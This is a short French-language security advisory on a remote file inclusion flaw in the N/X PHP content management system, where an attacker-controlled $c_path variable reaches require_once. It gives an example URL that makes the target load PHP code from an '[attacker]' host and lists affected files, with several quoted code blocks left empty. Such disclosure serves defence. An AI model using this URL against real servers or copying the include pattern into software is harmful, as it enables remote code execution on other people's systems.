N/X *** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://nxwcms.sourceforge.net/ Version : 2002 PreRelease 1 Problème : - Inclusions de fichiers Developpement : °°°°°°°°°°°°°°° N/X est un CMS (Content Manager System) permettant de créer un site et de l'administrer. Le problème est classique, une variable est modifiable pas n'importe qui, ce qui permet d'inclure un fichier externe, et de faire executer du code php avec les droits et restrictions du serveur. Ici la variable modifiable est $c_path. Par exemple dans le fichier nx/common/cds/menu.inc.php, on peut voir : ----------------------------------------------------------- [...] require_once $c_path."common/lib/launch.inc.php"; [...] ----------------------------------------------------------- Pour inclure le fichier http://[attacker]/common/lib/launch.inc.php dans http://[target]/nx/common/cds/menu.inc.php, il faudra taper l'url : http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/ Voici les differents fichiers et leur code buggé... nx/common/dbo/datasets.php : ----------------------------------------------------------- ----------------------------------------------------------- nx/common/lang/Italian/lang.inc.php, nx/common/lang/Deutsch/lang.inc.php, nx/common/lang/English/lang.inc.php, nx/common/lang/Mandarin/lang.inc.php et nx/common/lang/Polish/lang.inc.php : ----------------------------------------------------------- [...] require_once $c_path."common/lang/lang.php"; [...] ----------------------------------------------------------- nx/common/lib/copy.inc.php : ----------------------------------------------------------- ----------------------------------------------------------- nx/common/wui/filtermenu.php : ----------------------------------------------------------- ----------------------------------------------------------- nx/modules/pot/prepend.php : -----------------------------------------------------------